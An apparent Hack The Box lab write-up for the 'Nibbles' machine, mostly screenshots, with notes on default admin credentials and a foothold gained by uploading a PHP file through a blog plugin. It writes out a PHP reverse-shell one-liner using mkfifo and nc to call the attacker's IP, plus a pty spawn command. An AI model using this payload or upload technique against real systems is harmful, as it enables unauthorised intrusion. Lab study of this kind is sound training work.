---
# System prepended metadata

title: Nibbles
tags: [HTB]

---

# Enumeration
![image](https://hackmd.io/_uploads/SkU1iP8Op.png)
# Web Footprinting
![image](https://hackmd.io/_uploads/rkksItLup.png)

![image](https://hackmd.io/_uploads/S1ZcZcUua.png)

![image](https://hackmd.io/_uploads/BytlbKUOp.png)

![image](https://hackmd.io/_uploads/r1vSlF8d6.png)

![image](https://hackmd.io/_uploads/Hk8uftUOT.png)

![image](https://hackmd.io/_uploads/H1zmXtL_p.png)

    => username : admin
       password : nibbles
       
![image](https://hackmd.io/_uploads/rkhkG5Lda.png)

![image](https://hackmd.io/_uploads/S1EvB_8uT.png)

# Initial Foothold
### 1. Use Metasploit

![image](https://hackmd.io/_uploads/SJi4PY8Op.png)

![image](https://hackmd.io/_uploads/HJpvyqU_6.png)

![image](https://hackmd.io/_uploads/rkmCycL_6.png)

![image](https://hackmd.io/_uploads/ByCsuKLOT.png)

- local host => ifconfig => tun0(VPN IP)
    
![image](https://hackmd.io/_uploads/rk6A5tIup.png)

![image](https://hackmd.io/_uploads/HyKzhFIOT.png)

- shell => Create shell
- `python3 -c 'import pty; pty.spawn("/bin/bash")'` => Spawn a pseudo-terminal

![image](https://hackmd.io/_uploads/rk-P6F8da.png)

### 2. Use Reverse Shell

![image](https://hackmd.io/_uploads/BkOBQ98OT.png)

![image](https://hackmd.io/_uploads/rJjcTq8u6.png)

- Bash reverse shell one-liner (PHP script)
- `<?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.18 8433 >/tmp/f"); ?>`
    - 10.10.16.18 => AttackING IP
    - 8843        => Listening port

![image](https://hackmd.io/_uploads/rJyf49Uda.png)

- Start a netcat listener

![image](https://hackmd.io/_uploads/Sk-Ar9Uua.png)

    => username : admin
       password : nibbles
       
![image](https://hackmd.io/_uploads/S1aew9I_6.png)

- Plugins => My images => Configure

![image](https://hackmd.io/_uploads/BJUnFc8u6.png)

- Choose File => image.php => Save changes

![image](https://hackmd.io/_uploads/BJC_O9Ldp.png)

- Check whether image.php is uploaded successful

![image](https://hackmd.io/_uploads/SydViq8dp.png)

- Execute the reverse shell

![image](https://hackmd.io/_uploads/Bka8icLu6.png)

- Check the netcat listener

![image](https://hackmd.io/_uploads/S1Vr3cUd6.png)

- `python3 -c 'import pty; pty.spawn("/bin/bash")'` => Spawn a pseudo-terminal

![image](https://hackmd.io/_uploads/BkPG6qIOT.png)

# Privilege Escalation
### 1. Use Metasploit

![image](https://hackmd.io/_uploads/B1XJGbPdp.png)

![image](https://hackmd.io/_uploads/HykEG-DuT.png)

![image](https://hackmd.io/_uploads/Hk82gbPO6.png)

![image](https://hackmd.io/_uploads/rk7HbZv_p.png)

![image](https://hackmd.io/_uploads/H1X77ZvOT.png)

![image](https://hackmd.io/_uploads/ryZsQ-P_6.png)

### 2. Use Reverse Shell

![image](https://hackmd.io/_uploads/B1tXKZPOa.png)

![image](https://hackmd.io/_uploads/SJJEiZv_p.png)

![image](https://hackmd.io/_uploads/rJMtj-POa.png)

![image](https://hackmd.io/_uploads/S1L5hWvOT.png)

![image](https://hackmd.io/_uploads/BJTah-vuT.png)

![image](https://hackmd.io/_uploads/SymVp-vd6.png)

![image](https://hackmd.io/_uploads/HJ59TZP_p.png)

![image](https://hackmd.io/_uploads/r10OAbwua.png)














